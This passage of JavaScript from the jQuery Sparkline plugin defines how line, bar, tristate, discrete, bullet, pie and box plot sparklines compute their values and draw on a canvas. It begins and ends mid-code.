regionShapes[i] = null;
}
}
target.render();
}
};
/**
* Line charts
*/
$.fn.sparkline.line = line = createClass($.fn.sparkline._base, {
type: 'line',
init: function (el, values, options, width, height) {
line._super.init.call(this, el, values, options, width, height);
this.vertices = [];
this.regionMap = [];
this.xvalues = [];
this.yvalues = [];
this.yminmax = [];
this.hightlightSpotId = null;
this.lastShapeId = null;
this.initTarget();
},
getRegion: function (el, x, y) {
var i,
regionMap = this.regionMap; // maps regions to value positions
for (i = regionMap.length; i--;) {
if (regionMap[i] !== null && x >= regionMap[i][0] && x <= regionMap[i][1]) {
return regionMap[i][2];
}
}
return undefined;
},
getCurrentRegionFields: function () {
var currentRegion = this.currentRegion;
return {
isNull: this.yvalues[currentRegion] === null,
x: this.xvalues[currentRegion],
y: this.yvalues[currentRegion],
color: this.options.get('lineColor'),
fillColor: this.options.get('fillColor'),
offset: currentRegion
};
},
renderHighlight: function () {
var currentRegion = this.currentRegion,
target = this.target,
vertex = this.vertices[currentRegion],
options = this.options,
spotRadius = options.get('spotRadius'),
highlightSpotColor = options.get('highlightSpotColor'),
highlightLineColor = options.get('highlightLineColor'),
highlightSpot, highlightLine;
if (!vertex) {
return;
}
if (spotRadius && highlightSpotColor) {
highlightSpot = target.drawCircle(vertex[0], vertex[1],
spotRadius, undefined, highlightSpotColor);
this.highlightSpotId = highlightSpot.id;
target.insertAfterShape(this.lastShapeId, highlightSpot);
}
if (highlightLineColor) {
highlightLine = target.drawLine(vertex[0], this.canvasTop, vertex[0],
this.canvasTop + this.canvasHeight, highlightLineColor);
this.highlightLineId = highlightLine.id;
target.insertAfterShape(this.lastShapeId, highlightLine);
}
},
removeHighlight: function () {
var target = this.target;
if (this.highlightSpotId) {
target.removeShapeId(this.highlightSpotId);
this.highlightSpotId = null;
}
if (this.highlightLineId) {
target.removeShapeId(this.highlightLineId);
this.highlightLineId = null;
}
},
scanValues: function () {
var values = this.values,
valcount = values.length,
xvalues = this.xvalues,
yvalues = this.yvalues,
yminmax = this.yminmax,
i, val, isStr, isArray, sp;
for (i = 0; i < valcount; i++) {
val = values[i];
isStr = typeof(values[i]) === 'string';
isArray = typeof(values[i]) === 'object' && values[i] instanceof Array;
sp = isStr && values[i].split(':');
if (isStr && sp.length === 2) { // x:y
xvalues.push(Number(sp[0]));
yvalues.push(Number(sp[1]));
yminmax.push(Number(sp[1]));
} else if (isArray) {
xvalues.push(val[0]);
yvalues.push(val[1]);
yminmax.push(val[1]);
} else {
xvalues.push(i);
if (values[i] === null || values[i] === 'null') {
yvalues.push(null);
} else {
yvalues.push(Number(val));
yminmax.push(Number(val));
}
}
}
if (this.options.get('xvalues')) {
xvalues = this.options.get('xvalues');
}
this.maxy = this.maxyorg = Math.max.apply(Math, yminmax);
this.miny = this.minyorg = Math.min.apply(Math, yminmax);
this.maxx = Math.max.apply(Math, xvalues);
this.minx = Math.min.apply(Math, xvalues);
this.xvalues = xvalues;
this.yvalues = yvalues;
this.yminmax = yminmax;
},
processRangeOptions: function () {
var options = this.options,
normalRangeMin = options.get('normalRangeMin'),
normalRangeMax = options.get('normalRangeMax');
if (normalRangeMin !== undefined) {
if (normalRangeMin < this.miny) {
this.miny = normalRangeMin;
}
if (normalRangeMax > this.maxy) {
this.maxy = normalRangeMax;
}
}
if (options.get('chartRangeMin') !== undefined && (options.get('chartRangeClip') || options.get('chartRangeMin') < this.miny)) {
this.miny = options.get('chartRangeMin');
}
if (options.get('chartRangeMax') !== undefined && (options.get('chartRangeClip') || options.get('chartRangeMax') > this.maxy)) {
this.maxy = options.get('chartRangeMax');
}
if (options.get('chartRangeMinX') !== undefined && (options.get('chartRangeClipX') || options.get('chartRangeMinX') < this.minx)) {
this.minx = options.get('chartRangeMinX');
}
if (options.get('chartRangeMaxX') !== undefined && (options.get('chartRangeClipX') || options.get('chartRangeMaxX') > this.maxx)) {
this.maxx = options.get('chartRangeMaxX');
}
},
drawNormalRange: function (canvasLeft, canvasTop, canvasHeight, canvasWidth, rangey) {
var normalRangeMin = this.options.get('normalRangeMin'),
normalRangeMax = this.options.get('normalRangeMax'),
ytop = canvasTop + Math.round(canvasHeight - (canvasHeight * ((normalRangeMax - this.miny) / rangey))),
height = Math.round((canvasHeight * (normalRangeMax - normalRangeMin)) / rangey);
this.target.drawRect(canvasLeft, ytop, canvasWidth, height, undefined, this.options.get('normalRangeColor')).append();
},
render: function () {
var options = this.options,
target = this.target,
canvasWidth = this.canvasWidth,
canvasHeight = this.canvasHeight,
vertices = this.vertices,
spotRadius = options.get('spotRadius'),
regionMap = this.regionMap,
rangex, rangey, yvallast,
canvasTop, canvasLeft,
vertex, path, paths, x, y, xnext, xpos, xposnext,
last, next, yvalcount, lineShapes, fillShapes, plen,
valueSpots, hlSpotsEnabled, color, xvalues, yvalues, i;
if (!line._super.render.call(this)) {
return;
}
this.scanValues();
this.processRangeOptions();
xvalues = this.xvalues;
yvalues = this.yvalues;
if (!this.yminmax.length || this.yvalues.length < 2) {
// empty or all null valuess
return;
}
canvasTop = canvasLeft = 0;
rangex = this.maxx - this.minx === 0 ? 1 : this.maxx - this.minx;
rangey = this.maxy - this.miny === 0 ? 1 : this.maxy - this.miny;
yvallast = this.yvalues.length - 1;
if (spotRadius && (canvasWidth < (spotRadius * 4) || canvasHeight < (spotRadius * 4))) {
spotRadius = 0;
}
if (spotRadius) {
// adjust the canvas size as required so that spots will fit
hlSpotsEnabled = options.get('highlightSpotColor') && !options.get('disableInteraction');
if (hlSpotsEnabled || options.get('minSpotColor') || (options.get('spotColor') && yvalues[yvallast] === this.miny)) {
canvasHeight -= Math.ceil(spotRadius);
}
if (hlSpotsEnabled || options.get('maxSpotColor') || (options.get('spotColor') && yvalues[yvallast] === this.maxy)) {
canvasHeight -= Math.ceil(spotRadius);
canvasTop += Math.ceil(spotRadius);
}
if (hlSpotsEnabled ||
((options.get('minSpotColor') || options.get('maxSpotColor')) && (yvalues[0] === this.miny || yvalues[0] === this.maxy))) {
canvasLeft += Math.ceil(spotRadius);
canvasWidth -= Math.ceil(spotRadius);
}
if (hlSpotsEnabled || options.get('spotColor') ||
(options.get('minSpotColor') || options.get('maxSpotColor') &&
(yvalues[yvallast] === this.miny || yvalues[yvallast] === this.maxy))) {
canvasWidth -= Math.ceil(spotRadius);
}
}
canvasHeight--;
if (options.get('normalRangeMin') !== undefined && !options.get('drawNormalOnTop')) {
this.drawNormalRange(canvasLeft, canvasTop, canvasHeight, canvasWidth, rangey);
}
path = [];
paths = [path];
last = next = null;
yvalcount = yvalues.length;
for (i = 0; i < yvalcount; i++) {
x = xvalues[i];
xnext = xvalues[i + 1];
y = yvalues[i];
xpos = canvasLeft + Math.round((x - this.minx) * (canvasWidth / rangex));
xposnext = i < yvalcount - 1 ? canvasLeft + Math.round((xnext - this.minx) * (canvasWidth / rangex)) : canvasWidth;
next = xpos + ((xposnext - xpos) / 2);
regionMap[i] = [last || 0, next, i];
last = next;
if (y === null) {
if (i) {
if (yvalues[i - 1] !== null) {
path = [];
paths.push(path);
}
vertices.push(null);
}
} else {
if (y < this.miny) {
y = this.miny;
}
if (y > this.maxy) {
y = this.maxy;
}
if (!path.length) {
// previous value was null
path.push([xpos, canvasTop + canvasHeight]);
}
vertex = [xpos, canvasTop + Math.round(canvasHeight - (canvasHeight * ((y - this.miny) / rangey)))];
path.push(vertex);
vertices.push(vertex);
}
}
lineShapes = [];
fillShapes = [];
plen = paths.length;
for (i = 0; i < plen; i++) {
path = paths[i];
if (path.length) {
if (options.get('fillColor')) {
path.push([path[path.length - 1][0], (canvasTop + canvasHeight)]);
fillShapes.push(path.slice(0));
path.pop();
}
// if there's only a single point in this path, then we want to display it
// as a vertical line which means we keep path[0] as is
if (path.length > 2) {
// else we want the first value
path[0] = [path[0][0], path[1][1]];
}
lineShapes.push(path);
}
}
// draw the fill first, then optionally the normal range, then the line on top of that
plen = fillShapes.length;
for (i = 0; i < plen; i++) {
target.drawShape(fillShapes[i],
options.get('fillColor'), options.get('fillColor')).append();
}
if (options.get('normalRangeMin') !== undefined && options.get('drawNormalOnTop')) {
this.drawNormalRange(canvasLeft, canvasTop, canvasHeight, canvasWidth, rangey);
}
plen = lineShapes.length;
for (i = 0; i < plen; i++) {
target.drawShape(lineShapes[i], options.get('lineColor'), undefined,
options.get('lineWidth')).append();
}
if (spotRadius && options.get('valueSpots')) {
valueSpots = options.get('valueSpots');
if (valueSpots.get === undefined) {
valueSpots = new RangeMap(valueSpots);
}
for (i = 0; i < yvalcount; i++) {
color = valueSpots.get(yvalues[i]);
if (color) {
target.drawCircle(canvasLeft + Math.round((xvalues[i] - this.minx) * (canvasWidth / rangex)),
canvasTop + Math.round(canvasHeight - (canvasHeight * ((yvalues[i] - this.miny) / rangey))),
spotRadius, undefined,
color).append();
}
}
}
if (spotRadius && options.get('spotColor') && yvalues[yvallast] !== null) {
target.drawCircle(canvasLeft + Math.round((xvalues[xvalues.length - 1] - this.minx) * (canvasWidth / rangex)),
canvasTop + Math.round(canvasHeight - (canvasHeight * ((yvalues[yvallast] - this.miny) / rangey))),
spotRadius, undefined,
options.get('spotColor')).append();
}
if (this.maxy !== this.minyorg) {
if (spotRadius && options.get('minSpotColor')) {
x = xvalues[$.inArray(this.minyorg, yvalues)];
target.drawCircle(canvasLeft + Math.round((x - this.minx) * (canvasWidth / rangex)),
canvasTop + Math.round(canvasHeight - (canvasHeight * ((this.minyorg - this.miny) / rangey))),
spotRadius, undefined,
options.get('minSpotColor')).append();
}
if (spotRadius && options.get('maxSpotColor')) {
x = xvalues[$.inArray(this.maxyorg, yvalues)];
target.drawCircle(canvasLeft + Math.round((x - this.minx) * (canvasWidth / rangex)),
canvasTop + Math.round(canvasHeight - (canvasHeight * ((this.maxyorg - this.miny) / rangey))),
spotRadius, undefined,
options.get('maxSpotColor')).append();
}
}
this.lastShapeId = target.getLastShapeId();
this.canvasTop = canvasTop;
target.render();
}
});
/**
* Bar charts
*/
$.fn.sparkline.bar = bar = createClass($.fn.sparkline._base, barHighlightMixin, {
type: 'bar',
init: function (el, values, options, width, height) {
var barWidth = parseInt(options.get('barWidth'), 10),
barSpacing = parseInt(options.get('barSpacing'), 10),
chartRangeMin = options.get('chartRangeMin'),
chartRangeMax = options.get('chartRangeMax'),
chartRangeClip = options.get('chartRangeClip'),
stackMin = Infinity,
stackMax = -Infinity,
isStackString, groupMin, groupMax, stackRanges,
numValues, i, vlen, range, zeroAxis, xaxisOffset, min, max, clipMin, clipMax,
stacked, vlist, j, slen, svals, val, yoffset, yMaxCalc, canvasHeightEf;
bar._super.init.call(this, el, values, options, width, height);
// scan values to determine whether to stack bars
for (i = 0, vlen = values.length; i < vlen; i++) {
val = values[i];
isStackString = typeof(val) === 'string' && val.indexOf(':') > -1;
if (isStackString || $.isArray(val)) {
stacked = true;
if (isStackString) {
val = values[i] = normalizeValues(val.split(':'));
}
val = remove(val, null); // min/max will treat null as zero
groupMin = Math.min.apply(Math, val);
groupMax = Math.max.apply(Math, val);
if (groupMin < stackMin) {
stackMin = groupMin;
}
if (groupMax > stackMax) {
stackMax = groupMax;
}
}
}
this.stacked = stacked;
this.regionShapes = {};
this.barWidth = barWidth;
this.barSpacing = barSpacing;
this.totalBarWidth = barWidth + barSpacing;
this.width = width = (values.length * barWidth) + ((values.length - 1) * barSpacing);
this.initTarget();
if (chartRangeClip) {
clipMin = chartRangeMin === undefined ? -Infinity : chartRangeMin;
clipMax = chartRangeMax === undefined ? Infinity : chartRangeMax;
}
numValues = [];
stackRanges = stacked ? [] : numValues;
var stackTotals = [];
var stackRangesNeg = [];
for (i = 0, vlen = values.length; i < vlen; i++) {
if (stacked) {
vlist = values[i];
values[i] = svals = [];
stackTotals[i] = 0;
stackRanges[i] = stackRangesNeg[i] = 0;
for (j = 0, slen = vlist.length; j < slen; j++) {
val = svals[j] = chartRangeClip ? clipval(vlist[j], clipMin, clipMax) : vlist[j];
if (val !== null) {
if (val > 0) {
stackTotals[i] += val;
}
if (stackMin < 0 && stackMax > 0) {
if (val < 0) {
stackRangesNeg[i] += Math.abs(val);
} else {
stackRanges[i] += val;
}
} else {
stackRanges[i] += Math.abs(val - (val < 0 ? stackMax : stackMin));
}
numValues.push(val);
}
}
} else {
val = chartRangeClip ? clipval(values[i], clipMin, clipMax) : values[i];
val = values[i] = normalizeValue(val);
if (val !== null) {
numValues.push(val);
}
}
}
this.max = max = Math.max.apply(Math, numValues);
this.min = min = Math.min.apply(Math, numValues);
this.stackMax = stackMax = stacked ? Math.max.apply(Math, stackTotals) : max;
this.stackMin = stackMin = stacked ? Math.min.apply(Math, numValues) : min;
if (options.get('chartRangeMin') !== undefined && (options.get('chartRangeClip') || options.get('chartRangeMin') < min)) {
min = options.get('chartRangeMin');
}
if (options.get('chartRangeMax') !== undefined && (options.get('chartRangeClip') || options.get('chartRangeMax') > max)) {
max = options.get('chartRangeMax');
}
this.zeroAxis = zeroAxis = options.get('zeroAxis', true);
if (min <= 0 && max >= 0 && zeroAxis) {
xaxisOffset = 0;
} else if (zeroAxis == false) {
xaxisOffset = min;
} else if (min > 0) {
xaxisOffset = min;
} else {
xaxisOffset = max;
}
this.xaxisOffset = xaxisOffset;
range = stacked ? (Math.max.apply(Math, stackRanges) + Math.max.apply(Math, stackRangesNeg)) : max - min;
// as we plot zero/min values a single pixel line, we add a pixel to all other
// values - Reduce the effective canvas size to suit
this.canvasHeightEf = (zeroAxis && min < 0) ? this.canvasHeight - 2 : this.canvasHeight - 1;
if (min < xaxisOffset) {
yMaxCalc = (stacked && max >= 0) ? stackMax : max;
yoffset = (yMaxCalc - xaxisOffset) / range * this.canvasHeight;
if (yoffset !== Math.ceil(yoffset)) {
this.canvasHeightEf -= 2;
yoffset = Math.ceil(yoffset);
}
} else {
yoffset = this.canvasHeight;
}
this.yoffset = yoffset;
if ($.isArray(options.get('colorMap'))) {
this.colorMapByIndex = options.get('colorMap');
this.colorMapByValue = null;
} else {
this.colorMapByIndex = null;
this.colorMapByValue = options.get('colorMap');
if (this.colorMapByValue && this.colorMapByValue.get === undefined) {
this.colorMapByValue = new RangeMap(this.colorMapByValue);
}
}
this.range = range;
},
getRegion: function (el, x, y) {
var result = Math.floor(x / this.totalBarWidth);
return (result < 0 || result >= this.values.length) ? undefined : result;
},
getCurrentRegionFields: function () {
var currentRegion = this.currentRegion,
values = ensureArray(this.values[currentRegion]),
result = [],
value, i;
for (i = values.length; i--;) {
value = values[i];
result.push({
isNull: value === null,
value: value,
color: this.calcColor(i, value, currentRegion),
offset: currentRegion
});
}
return result;
},
calcColor: function (stacknum, value, valuenum) {
var colorMapByIndex = this.colorMapByIndex,
colorMapByValue = this.colorMapByValue,
options = this.options,
color, newColor;
if (this.stacked) {
color = options.get('stackedBarColor');
} else {
color = (value < 0) ? options.get('negBarColor') : options.get('barColor');
}
if (value === 0 && options.get('zeroColor') !== undefined) {
color = options.get('zeroColor');
}
if (colorMapByValue && (newColor = colorMapByValue.get(value))) {
color = newColor;
} else if (colorMapByIndex && colorMapByIndex.length > valuenum) {
color = colorMapByIndex[valuenum];
}
return $.isArray(color) ? color[stacknum % color.length] : color;
},
/**
* Render bar(s) for a region
*/
renderRegion: function (valuenum, highlight) {
var vals = this.values[valuenum],
options = this.options,
xaxisOffset = this.xaxisOffset,
result = [],
range = this.range,
stacked = this.stacked,
target = this.target,
x = valuenum * this.totalBarWidth,
canvasHeightEf = this.canvasHeightEf,
yoffset = this.yoffset,
y, height, color, isNull, yoffsetNeg, i, valcount, val, minPlotted, allMin;
vals = $.isArray(vals) ? vals : [vals];
valcount = vals.length;
val = vals[0];
isNull = all(null, vals);
allMin = all(xaxisOffset, vals, true);
if (isNull) {
if (options.get('nullColor')) {
color = highlight ? options.get('nullColor') : this.calcHighlightColor(options.get('nullColor'), options);
y = (yoffset > 0) ? yoffset - 1 : yoffset;
return target.drawRect(x, y, this.barWidth - 1, 0, color, color);
} else {
return undefined;
}
}
yoffsetNeg = yoffset;
for (i = 0; i < valcount; i++) {
val = vals[i];
if (stacked && val === xaxisOffset) {
if (!allMin || minPlotted) {
continue;
}
minPlotted = true;
}
if (range > 0) {
height = Math.floor(canvasHeightEf * ((Math.abs(val - xaxisOffset) / range))) + 1;
} else {
height = 1;
}
if (val < xaxisOffset || (val === xaxisOffset && yoffset === 0)) {
y = yoffsetNeg;
yoffsetNeg += height;
} else {
y = yoffset - height;
yoffset -= height;
}
color = this.calcColor(i, val, valuenum);
if (highlight) {
color = this.calcHighlightColor(color, options);
}
result.push(target.drawRect(x, y, this.barWidth - 1, height - 1, color, color));
}
if (result.length === 1) {
return result[0];
}
return result;
}
});
/**
* Tristate charts
*/
$.fn.sparkline.tristate = tristate = createClass($.fn.sparkline._base, barHighlightMixin, {
type: 'tristate',
init: function (el, values, options, width, height) {
var barWidth = parseInt(options.get('barWidth'), 10),
barSpacing = parseInt(options.get('barSpacing'), 10);
tristate._super.init.call(this, el, values, options, width, height);
this.regionShapes = {};
this.barWidth = barWidth;
this.barSpacing = barSpacing;
this.totalBarWidth = barWidth + barSpacing;
this.values = $.map(values, Number);
this.width = width = (values.length * barWidth) + ((values.length - 1) * barSpacing);
if ($.isArray(options.get('colorMap'))) {
this.colorMapByIndex = options.get('colorMap');
this.colorMapByValue = null;
} else {
this.colorMapByIndex = null;
this.colorMapByValue = options.get('colorMap');
if (this.colorMapByValue && this.colorMapByValue.get === undefined) {
this.colorMapByValue = new RangeMap(this.colorMapByValue);
}
}
this.initTarget();
},
getRegion: function (el, x, y) {
return Math.floor(x / this.totalBarWidth);
},
getCurrentRegionFields: function () {
var currentRegion = this.currentRegion;
return {
isNull: this.values[currentRegion] === undefined,
value: this.values[currentRegion],
color: this.calcColor(this.values[currentRegion], currentRegion),
offset: currentRegion
};
},
calcColor: function (value, valuenum) {
var values = this.values,
options = this.options,
colorMapByIndex = this.colorMapByIndex,
colorMapByValue = this.colorMapByValue,
color, newColor;
if (colorMapByValue && (newColor = colorMapByValue.get(value))) {
color = newColor;
} else if (colorMapByIndex && colorMapByIndex.length > valuenum) {
color = colorMapByIndex[valuenum];
} else if (values[valuenum] < 0) {
color = options.get('negBarColor');
} else if (values[valuenum] > 0) {
color = options.get('posBarColor');
} else {
color = options.get('zeroBarColor');
}
return color;
},
renderRegion: function (valuenum, highlight) {
var values = this.values,
options = this.options,
target = this.target,
canvasHeight, height, halfHeight,
x, y, color;
canvasHeight = target.pixelHeight;
halfHeight = Math.round(canvasHeight / 2);
x = valuenum * this.totalBarWidth;
if (values[valuenum] < 0) {
y = halfHeight;
height = halfHeight - 1;
} else if (values[valuenum] > 0) {
y = 0;
height = halfHeight - 1;
} else {
y = halfHeight - 1;
height = 2;
}
color = this.calcColor(values[valuenum], valuenum);
if (color === null) {
return;
}
if (highlight) {
color = this.calcHighlightColor(color, options);
}
return target.drawRect(x, y, this.barWidth - 1, height - 1, color, color);
}
});
/**
* Discrete charts
*/
$.fn.sparkline.discrete = discrete = createClass($.fn.sparkline._base, barHighlightMixin, {
type: 'discrete',
init: function (el, values, options, width, height) {
discrete._super.init.call(this, el, values, options, width, height);
this.regionShapes = {};
this.values = values = $.map(values, Number);
this.min = Math.min.apply(Math, values);
this.max = Math.max.apply(Math, values);
this.range = this.max - this.min;
this.width = width = options.get('width') === 'auto' ? values.length * 2 : this.width;
this.interval = Math.floor(width / values.length);
this.itemWidth = width / values.length;
if (options.get('chartRangeMin') !== undefined && (options.get('chartRangeClip') || options.get('chartRangeMin') < this.min)) {
this.min = options.get('chartRangeMin');
}
if (options.get('chartRangeMax') !== undefined && (options.get('chartRangeClip') || options.get('chartRangeMax') > this.max)) {
this.max = options.get('chartRangeMax');
}
this.initTarget();
if (this.target) {
this.lineHeight = options.get('lineHeight') === 'auto' ? Math.round(this.canvasHeight * 0.3) : options.get('lineHeight');
}
},
getRegion: function (el, x, y) {
return Math.floor(x / this.itemWidth);
},
getCurrentRegionFields: function () {
var currentRegion = this.currentRegion;
return {
isNull: this.values[currentRegion] === undefined,
value: this.values[currentRegion],
offset: currentRegion
};
},
renderRegion: function (valuenum, highlight) {
var values = this.values,
options = this.options,
min = this.min,
max = this.max,
range = this.range,
interval = this.interval,
target = this.target,
canvasHeight = this.canvasHeight,
lineHeight = this.lineHeight,
pheight = canvasHeight - lineHeight,
ytop, val, color, x;
val = clipval(values[valuenum], min, max);
x = valuenum * interval;
ytop = Math.round(pheight - pheight * ((val - min) / range));
color = (options.get('thresholdColor') && val < options.get('thresholdValue')) ? options.get('thresholdColor') : options.get('lineColor');
if (highlight) {
color = this.calcHighlightColor(color, options);
}
return target.drawLine(x, ytop, x, ytop + lineHeight, color);
}
});
/**
* Bullet charts
*/
$.fn.sparkline.bullet = bullet = createClass($.fn.sparkline._base, {
type: 'bullet',
init: function (el, values, options, width, height) {
var min, max, vals;
bullet._super.init.call(this, el, values, options, width, height);
// values: target, performance, range1, range2, range3
this.values = values = normalizeValues(values);
// target or performance could be null
vals = values.slice();
vals[0] = vals[0] === null ? vals[2] : vals[0];
vals[1] = values[1] === null ? vals[2] : vals[1];
min = Math.min.apply(Math, values);
max = Math.max.apply(Math, values);
if (options.get('base') === undefined) {
min = min < 0 ? min : 0;
} else {
min = options.get('base');
}
this.min = min;
this.max = max;
this.range = max - min;
this.shapes = {};
this.valueShapes = {};
this.regiondata = {};
this.width = width = options.get('width') === 'auto' ? '4.0em' : width;
this.target = this.$el.simpledraw(width, height, options.get('composite'));
if (!values.length) {
this.disabled = true;
}
this.initTarget();
},
getRegion: function (el, x, y) {
var shapeid = this.target.getShapeAt(el, x, y);
return (shapeid !== undefined && this.shapes[shapeid] !== undefined) ? this.shapes[shapeid] : undefined;
},
getCurrentRegionFields: function () {
var currentRegion = this.currentRegion;
return {
fieldkey: currentRegion.substr(0, 1),
value: this.values[currentRegion.substr(1)],
region: currentRegion
};
},
changeHighlight: function (highlight) {
var currentRegion = this.currentRegion,
shapeid = this.valueShapes[currentRegion],
shape;
delete this.shapes[shapeid];
switch (currentRegion.substr(0, 1)) {
case 'r':
shape = this.renderRange(currentRegion.substr(1), highlight);
break;
case 'p':
shape = this.renderPerformance(highlight);
break;
case 't':
shape = this.renderTarget(highlight);
break;
}
this.valueShapes[currentRegion] = shape.id;
this.shapes[shape.id] = currentRegion;
this.target.replaceWithShape(shapeid, shape);
},
renderRange: function (rn, highlight) {
var rangeval = this.values[rn],
rangewidth = Math.round(this.canvasWidth * ((rangeval - this.min) / this.range)),
color = this.options.get('rangeColors')[rn - 2];
if (highlight) {
color = this.calcHighlightColor(color, this.options);
}
return this.target.drawRect(0, 0, rangewidth - 1, this.canvasHeight - 1, color, color);
},
renderPerformance: function (highlight) {
var perfval = this.values[1],
perfwidth = Math.round(this.canvasWidth * ((perfval - this.min) / this.range)),
color = this.options.get('performanceColor');
if (highlight) {
color = this.calcHighlightColor(color, this.options);
}
return this.target.drawRect(0, Math.round(this.canvasHeight * 0.3), perfwidth - 1,
Math.round(this.canvasHeight * 0.4) - 1, color, color);
},
renderTarget: function (highlight) {
var targetval = this.values[0],
x = Math.round(this.canvasWidth * ((targetval - this.min) / this.range) - (this.options.get('targetWidth') / 2)),
targettop = Math.round(this.canvasHeight * 0.10),
targetheight = this.canvasHeight - (targettop * 2),
color = this.options.get('targetColor');
if (highlight) {
color = this.calcHighlightColor(color, this.options);
}
return this.target.drawRect(x, targettop, this.options.get('targetWidth') - 1, targetheight - 1, color, color);
},
render: function () {
var vlen = this.values.length,
target = this.target,
i, shape;
if (!bullet._super.render.call(this)) {
return;
}
for (i = 2; i < vlen; i++) {
shape = this.renderRange(i).append();
this.shapes[shape.id] = 'r' + i;
this.valueShapes['r' + i] = shape.id;
}
if (this.values[1] !== null) {
shape = this.renderPerformance().append();
this.shapes[shape.id] = 'p1';
this.valueShapes.p1 = shape.id;
}
if (this.values[0] !== null) {
shape = this.renderTarget().append();
this.shapes[shape.id] = 't0';
this.valueShapes.t0 = shape.id;
}
target.render();
}
});
/**
* Pie charts
*/
$.fn.sparkline.pie = pie = createClass($.fn.sparkline._base, {
type: 'pie',
init: function (el, values, options, width, height) {
var total = 0, i;
pie._super.init.call(this, el, values, options, width, height);
this.shapes = {}; // map shape ids to value offsets
this.valueShapes = {}; // maps value offsets to shape ids
this.values = values = $.map(values, Number);
if (options.get('width') === 'auto') {
this.width = this.height;
}
if (values.length > 0) {
for (i = values.length; i--;) {
total += values[i];
}
}
this.total = total;
this.initTarget();
this.radius = Math.floor(Math.min(this.canvasWidth, this.canvasHeight) / 2);
},
getRegion: function (el, x, y) {
var shapeid = this.target.getShapeAt(el, x, y);
return (shapeid !== undefined && this.shapes[shapeid] !== undefined) ? this.shapes[shapeid] : undefined;
},
getCurrentRegionFields: function () {
var currentRegion = this.currentRegion;
return {
isNull: this.values[currentRegion] === undefined,
value: this.values[currentRegion],
percent: this.values[currentRegion] / this.total * 100,
color: this.options.get('sliceColors')[currentRegion % this.options.get('sliceColors').length],
offset: currentRegion
};
},
changeHighlight: function (highlight) {
var currentRegion = this.currentRegion,
newslice = this.renderSlice(currentRegion, highlight),
shapeid = this.valueShapes[currentRegion];
delete this.shapes[shapeid];
this.target.replaceWithShape(shapeid, newslice);
this.valueShapes[currentRegion] = newslice.id;
this.shapes[newslice.id] = currentRegion;
},
renderSlice: function (valuenum, highlight) {
var target = this.target,
options = this.options,
radius = this.radius,
borderWidth = options.get('borderWidth'),
offset = options.get('offset'),
circle = 2 * Math.PI,
values = this.values,
total = this.total,
next = offset ? (2*Math.PI)*(offset/360) : 0,
start, end, i, vlen, color;
vlen = values.length;
for (i = 0; i < vlen; i++) {
start = next;
end = next;
if (total > 0) { // avoid divide by zero
end = next + (circle * (values[i] / total));
}
if (valuenum === i) {
color = options.get('sliceColors')[i % options.get('sliceColors').length];
if (highlight) {
color = this.calcHighlightColor(color, options);
}
return target.drawPieSlice(radius, radius, radius - borderWidth, start, end, undefined, color);
}
next = end;
}
},
render: function () {
var target = this.target,
values = this.values,
options = this.options,
radius = this.radius,
borderWidth = options.get('borderWidth'),
shape, i;
if (!pie._super.render.call(this)) {
return;
}
if (borderWidth) {
target.drawCircle(radius, radius, Math.floor(radius - (borderWidth / 2)),
options.get('borderColor'), undefined, borderWidth).append();
}
for (i = values.length; i--;) {
if (values[i]) { // don't render zero values
shape = this.renderSlice(i).append();
this.valueShapes[i] = shape.id; // store just the shapeid
this.shapes[shape.id] = i;
}
}
target.render();
}
});
/**
* Box plots
*/
$.fn.sparkline.box = box = createClass($.fn.sparkline._base, {
type: 'box',
init: function (el, values, options, width, height) {
box._super.init.call(this, el, values, options, width, height);
this.values = $.map(values, Number);
this.width = options.get('width') === 'auto' ? '4.0em' : width;
this.initTarget();
if (!this.values.length) {
this.disabled = 1;
}
},
/**
* Simulate a single region
*/
getRegion: function () {
return 1;
},
getCurrentRegionFields: function () {
var result = [
{ field: 'lq', value: this.quartiles[0] },
{ field: 'med', value: this.quartiles[1] },
{ field: 'uq', value: this.quartiles[2] }
];
if (this.loutlier !== undefined) {
result.push({ field: 'lo', value: this.loutlier});
}
if (this.routlier !== undefined) {
result.push({ field: 'ro', value: this.routlier});
}
if (this.lwhisker !== undefined) {
result.push({ field: 'lw', value: this.lwhisker});
}
if (this.rwhisker !== undefined) {
result.push({ field: 'rw', value: this.rwhisker});
}
return result;
},
render: function () {
var target = this.target,
values = this.values,
vlen = values.length,
options = this.options,
canvasWidth = this.canvasWidth,
canvasHeight = this.canvasHeight,
minValue = options.get('chartRangeMin') === undefined ? Math.min.apply(Math, values) : options.get('chartRangeMin'),
maxValue = options.get('chartRangeMax') === undefined ? Math.max.apply(Math, values) : options.get('chartRangeMax'),
canvasLeft = 0,
lwhisker, loutlier, iqr, q1, q2, q3, rwhisker, routlier, i,
size, unitSize;
if (!box._super.render.call(this)) {
return;
}
if (options.get('raw')) {
if (options.get('showOutliers') && values.length > 5) {
loutlier = values[0];
lwhisker = values[1];
q1 = values[2];
q2 = values[3];
q3 = values[4];
rwhisker = values[5];
routlier = values[6];
} else {
lwhisker = values[0];
q1 = values[1];
q2 = values[2];
q3 = values[3];
rwhisker = values[4];
}
} else {
values.sort(function (a, b) { return a - b; });
q1 = quartile(values, 1);
q2 = quartile(values, 2);
q3 = quartile(values, 3);
iqr = q3 - q1;
if (options.get('showOutliers')) {
lwhisker = rwhisker = undefined;
for (i = 0; i < vlen; i++) {
if (lwhisker === undefined && values[i] > q1 - (iqr * options.get('outlierIQR'))) {
lwhisker = values[i];
}
if (values[i] < q3 + (iqr * options.get('outlierIQR'))) {
rwhisker = values[i];
}
}
loutlier = values[0];
routlier = values[vlen - 1];
} else {
lwhisker = values[0];
rwhisker = values[vlen - 1];
}
}
this.quartiles = [q1, q2, q3];
this.lwhisker = lwhisker;
this.rwhisker = rwhisker;
this.loutlier = loutlier;
this.routlier = routlier;
unitSize = canvasWidth / (maxValue - minValue + 1);
if (options.get('showOutliers')) {
canvasLeft = Math.ceil(options.get('spotRadius'));
canvasWidth -= 2 * Math.ceil(options.get('spotRadius'));
unitSize = canvasWidth / (maxValue - minValue + 1);
if (loutlier < lwhisker) {
target.drawCircle((loutlier - minValue) * unitSize + canvasLeft,
canvasHeight / 2,
options.get('spotRadius'),
options.get('outlierLineColor'),
options.get('outlierFillColor')).append();
}
if (routlier > rwhisker) {
target.drawCircle((routlier - minValue) * unitSize + canvasLeft,
canvasHeight / 2,
options.get('spotRadius'),
options.get('outlierLineColor'),
options.get('outlierFillColor')).append();
}
}
// box
target.drawRect(
Math.round((q1 - minValue) * unitSize + canvasLeft),
Math.round(canvasHeight * 0.1),
Math.round((q3 - q1) * unitSize),
Math.round(canvasHeight * 0.8),
options.get('boxLineColor'),
options.get('boxFillColor')).append();
// left whisker
target.drawLine(
